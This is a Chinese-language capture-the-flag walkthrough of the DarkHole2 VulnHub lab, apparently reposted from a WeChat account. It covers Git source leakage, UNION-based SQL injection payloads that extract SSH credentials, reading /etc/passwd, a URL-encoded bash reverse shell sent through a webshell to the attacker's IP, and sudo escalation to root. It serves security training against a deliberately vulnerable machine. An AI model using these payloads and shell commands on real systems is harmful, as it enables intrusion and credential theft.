从Git源码泄露审计到Getshell | DarkHole2

admin 2025年6月26日01:46:18评论0 views字数 2380阅读7分56秒阅读模式
项目地址:https://download.vulnhub.com/darkhole/darkhole_2

复现过程:(两台主机 目标机器和攻击机器)

从Git源码泄露审计到Getshell | DarkHole2

sudo arp-scan -l  #先进行主机发现

从Git源码泄露审计到Getshell | DarkHole2

Nmap 探测该IP的端口和服务

nmap -A -P 192.168.253.136

从Git源码泄露审计到Getshell | DarkHole2

根据探测的结果,可获取该主机的部分信息:

SSH服务、80端口下的Git、Ubuntu的版本号等

打开浏览器 访问IP:192.168.253.136地址:(查看页面的源代码 看看能不能找到有用的信息)

从Git源码泄露审计到Getshell | DarkHole2

从Git源码泄露审计到Getshell | DarkHole2

此时查看了下前端的JS文件 并未发现有价值的信息。

再访问之前的那个.git目录

从Git源码泄露审计到Getshell | DarkHole2

wget -r http://192.168.253.136/.git/  #下载git源代码

从Git源码泄露审计到Getshell | DarkHole2

从Git源码泄露审计到Getshell | DarkHole2

再进去下载下来的文件夹里面查看

git log  #查看该git有过几次版本更新的历史信息

从Git源码泄露审计到Getshell | DarkHole2

再进入文件夹中 查看对应的源代码进行审计 并未发现有价值的内容。

vi login.php

从Git源码泄露审计到Getshell | DarkHole2

查菜单。看hash值 看更改了哪些内容:

git checkout HASH值 

vi login.php #查看原来版本的文件内容
获取到账号密码:[email protected]    密码:321

从Git源码泄露审计到Getshell | DarkHole2

尝试登陆:发现登录成功以后 去查看后台的源代码寻找有用的信息

从Git源码泄露审计到Getshell | DarkHole2

看到URL上面有ID字段的时候  就要尝试手工去注入一次。

先更改ID号  发现只有ID为1的时候才有信息显示

再后面进行' 发现页面变白 但是未显示报错信息,大概率是字符型的注入,这个时候尝试用and去拼接一下。

1‘ and 1=1 #防止其做了编码 可以1’+and+1=1--+
1'and 1=2

根据以上的显示内容,几乎可以确定站点存在SQL注入。

这个时候开始尝试去猜解

1'+order+by+3--+  #查询服务端列的数量  
 根据结果知道服务端的查询语句 涉及到了6个数据库的列

1'+union+select+1,2,3,4,5,6--+ #

从Git源码泄露审计到Getshell | DarkHole2

从Git源码泄露审计到Getshell | DarkHole2

结果发现 页面只显示一条数据,只显示一个数据

修改id的值 再去联合查询。

从Git源码泄露审计到Getshell | DarkHole2

再进行插入服务器端的内置函数。

2'+union+select+1,datebase(),3,4,5,6--+  
#查询到了数据库的名称

从Git源码泄露审计到Getshell | DarkHole2

再去查询数据库中的表:

2'+union+select+1,table_name,3,4,5,6 from information_schema.tables where table_schema='darkhole_2'--+

从Git源码泄露审计到Getshell | DarkHole2

再去查询对应的列的名称:

2'+union+select+1,column_name,3,4,5,6 from information_schema.columns where table_name='ssh'--+   #查询一个列名
2'+union+select+1,GROUP_CONCAT(column_name),3,4,5,6 from information_schema.columns where table_name='ssh'--+ #查询所有的列的名称 都显示出来

再去查询对应的用户名。

2‘+union+select+1,id,user,4,pass,6 from ssh--+

从Git源码泄露审计到Getshell | DarkHole2

获取到了账号密码:

账号:jehad    密码:fool

这个时候可以去猜测 是不是可以直接用SSH链接(前面探测出了22端口)

ssh jehad@IP 

从Git源码泄露审计到Getshell | DarkHole2

发现登录成功过以后:对本机进行信息收集

uname -a   #先进行本机的信息收集
lsb_release -a  #查看本机信息版本
cat /etc/passwd   #查看本机存储的账号

从Git源码泄露审计到Getshell | DarkHole2

发现了几个有用的用户:

lama、jehad、losy   都是普通用户的权限
cd /home   #进入主目录  查看有哪些用户的信息
cd 进入到当前用户的目录下
ls -la #查看

从Git源码泄露审计到Getshell | DarkHole2

根据历史命令记录 得出几个有用的点:并且该站点有被测试过的痕迹

cat /.bash_history
9999 端口应该有较大用处。

从Git源码泄露审计到Getshell | DarkHole2

查看一下是否有该端口开放:

ss -pantu |grep 9999 
ps -ef | grep 9999  #查看该端口本地的进程

从Git源码泄露审计到Getshell | DarkHole2

根据上面那个操作,进入到对应目录下 查看对应的文件:

查看到一个index.php文件(发现是一个webshell)

从Git源码泄露审计到Getshell | DarkHole2

自己新建一个webshell进行提权操作:

目标机器:curl http://127.0.0.1:9999/?cmd=~
本地机器需要开启侦听:nc -nvlp 4242  (端口)

建议对写的webshell进行URL编码。

原:bash -c 'bash -i >& /dev/tcp/kali的IP地址/4242 0>&1'

编码后:bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.253.137%2F4242%200%3E%261%27

发现反弹成功以后,返回的是losy的权限。

从Git源码泄露审计到Getshell | DarkHole2

从Git源码泄露审计到Getshell | DarkHole2

进行探测  发现该用户做的历史操作记录。

从Git源码泄露审计到Getshell | DarkHole2

从Git源码泄露审计到Getshell | DarkHole2

再进行提权操作:

python3 -c 'import pty; pty.spawn("/bin/bash")'

切换终端:tty 发现losy该用户拥有sudo权限:

从Git源码泄露审计到Getshell | DarkHole2

故我们可以尝试sudo上面那个提权的操作:提权成功

sudo python3 -c 'import pty; pty.spawn("/bin/bash")'

从Git源码泄露审计到Getshell | DarkHole2

到账号的根目录下查看相关的文件:发现root.txt文件 获取flag

进入到home目录下,分别查看有哪些文件:

发现user.txt 获取成功Flag。

从Git源码泄露审计到Getshell | DarkHole2

从Git源码泄露审计到Getshell | DarkHole2

    这个靶机花了我差不多一天的时间,中间各种奇怪的报错,还可以尝试SSH爆破和端口转发的方式去做测试。

原文始发于微信公众号(0x00实验室):从Git源码泄露审计到Getshell | DarkHole2

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月26日01:46:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从Git源码泄露审计到Getshell | DarkHole2http://cn-sec.com/archives/1039353.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息